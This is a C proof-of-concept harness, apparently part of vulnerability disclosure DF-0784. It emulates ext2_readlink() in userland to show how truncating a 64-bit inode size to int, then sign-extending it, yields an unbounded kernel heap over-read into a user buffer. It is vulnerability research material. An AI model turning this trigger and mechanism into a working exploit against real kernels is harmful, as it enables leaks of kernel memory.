DF-0784 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 | /* * DF-0784 deterministic harness. * * Transcribes the exact arithmetic of ext2_readlink() * (sys/vfs/ext2fs/ext2_vnops.c:1345-1357) line-for-line, using a poisoned * userland "struct inode" so the production unbounded-heap-read primitive is * demonstrated deterministically, independent of the live slab layout (which * on a GENERIC kernel manifests as a panic once copyout walks past the slab — * see panic.txt; on a production/INVARIANTS-OFF kernel the disclosure is * silent up to the first unmapped page). * * Build: cc -O2 -o harness harness.c * Run: ./harness [bufkb] (default 4 KB) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stddef.h> /* ---- minimal mirror of the relevant kernel types ------------------------- */ typedef uint64_t u_quad_t; typedef uint64_t uint64_t; typedef uint32_t uint32_t; typedef int32_t int32_t; typedef int boolean_t; #define EXT2_NDADDR 12 #define EXT2_NIADDR 3 #define EXT2_MAXSYMLINKLEN ((EXT2_NDADDR + EXT2_NIADDR) * sizeof(uint32_t)) /* 60 */ /* Mirror of `struct inode` — only the fields touched by ext2_readlink + a few * neighbours to represent what the over-read walks into. We deliberately * make this much larger than i_shortlink so the leak has somewhere to read. */ struct inode { char padding_before[64]; /* mimic preceding struct fields */ uint64_t i_size; /* file byte count (uint64!) */ uint64_t i_blocks; uint32_t i_db[EXT2_NDADDR]; /* i_shortlink alias */ uint32_t i_ib[EXT2_NIADDR]; /* After this point in real life is the next slab object / heap residue. * We poison it so the leak content is unambiguous. */ unsigned char heap_residue[4096 - 64 - 8 - 8 - 48 - 12]; }; /* Mirror of `struct uio` (only what uiomove reads). */ struct iovec { void *iov_base; size_t iov_len; }; struct uio { struct iovec *uio_iov; int uio_iovcnt; size_t uio_resid; /* ... */ }; /* ---- exact transcription of kern_subr.c uiomove() loop -------------------- */ static int uiomove_emul(unsigned char *cp, size_t n, struct uio *uio) { struct iovec *iov; size_t cnt, tot = 0; int error = 0; while (n > 0 && uio->uio_resid) { iov = uio->uio_iov; cnt = iov->iov_len; if (cnt == 0) { uio->uio_iov++; uio->uio_iovcnt--; continue; } if (cnt > n) cnt = n; tot += cnt; /* UIO_USERSPACE + UIO_READ -> copyout */ memcpy(iov->iov_base, cp, cnt); iov->iov_base = (char *)iov->iov_base + cnt; iov->iov_len -= cnt; uio->uio_resid -= cnt; cp += cnt; } return error; } /* ---- exact transcription of ext2_vnops.c:1345-1357 ----------------------- */ static int ext2_readlink_emul(struct inode *ip, struct uio *uio, int mnt_maxsymlinklen) { int isize; /* line 1350 */ isize = ip->i_size; /* line 1352: TRUNCATES uint64 -> int */ if (isize < mnt_maxsymlinklen) { /* line 1353: signed compare */ uiomove_emul((unsigned char *)ip->i_db, /* line 1354: i_shortlink = i_db */ (size_t)isize, /* int -> size_t (SIGN EXTEND!) */ uio); return (0); } return (1); /* VOP_READ path (untaken) */ } int main(int argc, char **argv) { size_t bufsz = (argc >= 2) ? (size_t)strtoul(argv[1], NULL, 0) * 1024 : 4096; if (bufsz == 0) bufsz = 4096; /* Build a poisoned "inode" slab. */ struct inode *ip = calloc(1, sizeof(*ip)); /* Write the legit short symlink target into i_shortlink (= i_db). */ const char *target = "target_foobar_link"; /* 18 bytes */ memcpy(ip->i_db, target, strlen(target)); /* Set the corrupted on-disk-equivalent i_size: bit 31 set. */ ip->i_size = 0x0000000080000000ULL; /* Poison everything after the legit target so we can SEE the leak. */ for (size_t i = strlen(target); i < sizeof(ip->heap_residue) + sizeof(ip->i_ib); i++) { unsigned char *p = (unsigned char *)ip->i_db + i; *p = (unsigned char)(0xA0 + (i & 0x3F)); } printf("=== DF-0784 harness: ext2_readlink arithmetic transcription ===\n"); printf("ip->i_size (uint64) = 0x%016llx\n", (unsigned long long)ip->i_size); int isize_buggy = (int)ip->i_size; printf("isize (int, truncated)= %d (0x%08x)\n", isize_buggy, isize_buggy); printf("isize (int -> size_t) = 0x%016llx (sign-extended)\n", (unsigned long long)(size_t)isize_buggy); printf("EXT2_MAXSYMLINKLEN = %d\n", EXT2_MAXSYMLINKLEN); printf("isize < MAXSYMLINKLEN ? %s (TRUE => fast path TAKEN)\n", (isize_buggy < (int)EXT2_MAXSYMLINKLEN) ? "YES" : "no"); printf("user buffer size = %zu bytes\n", bufsz); unsigned char *userbuf = malloc(bufsz); struct iovec iv = { .iov_base = userbuf, .iov_len = bufsz }; struct uio uio = { .uio_iov = &iv, .uio_iovcnt = 1, .uio_resid = bufsz }; int rc = ext2_readlink_emul(ip, &uio, EXT2_MAXSYMLINKLEN); size_t copied = bufsz - uio.uio_resid; printf("readlink returned = %zu bytes (rc=%d)\n", copied, rc); printf("legit target length = %zu bytes\n", strlen(target)); if (copied > strlen(target)) { size_t leaked = copied - strlen(target); printf("[!!] LEAKED %zu bytes of fake-kernel-heap past the legit target\n", leaked); } /* Show first 64 bytes of what landed in the user buffer. */ printf("\nfirst 64 bytes of user buffer (target string then poison):\n"); for (size_t i = 0; i < 64 && i < copied; i++) { printf("%02x ", userbuf[i]); if ((i & 15) == 15) printf("\n"); } printf("\nbytes 32-64 from offset 2000 (deep into the over-read region):\n"); for (size_t i = 2000; i < 2032 && i < copied; i++) { printf("%02x ", userbuf[i]); if (((i - 2000) & 15) == 15) printf("\n"); } printf("\nlast 32 bytes of user buffer:\n"); for (size_t i = (copied > 32 ? copied - 32 : 0); i < copied; i++) { printf("%02x ", userbuf[i]); if (((i - (copied > 32 ? copied - 32 : 0)) & 15) == 15) printf("\n"); } printf("\n\nConclusion: a %d-byte int truncation of a uint64 i_size yields a\n" "size_t count of 0x%016llx; uiomove copies that many bytes from\n" "i_shortlink into user RAM, bounded only by the user buffer / the\n" "first unmapped kernel page. In the live kernel (see panic.txt) the\n" "latter ends in a vm_fault panic from ext2_readlink+0x48.\n", isize_buggy, (unsigned long long)(size_t)isize_buggy); free(userbuf); free(ip); return 0; } |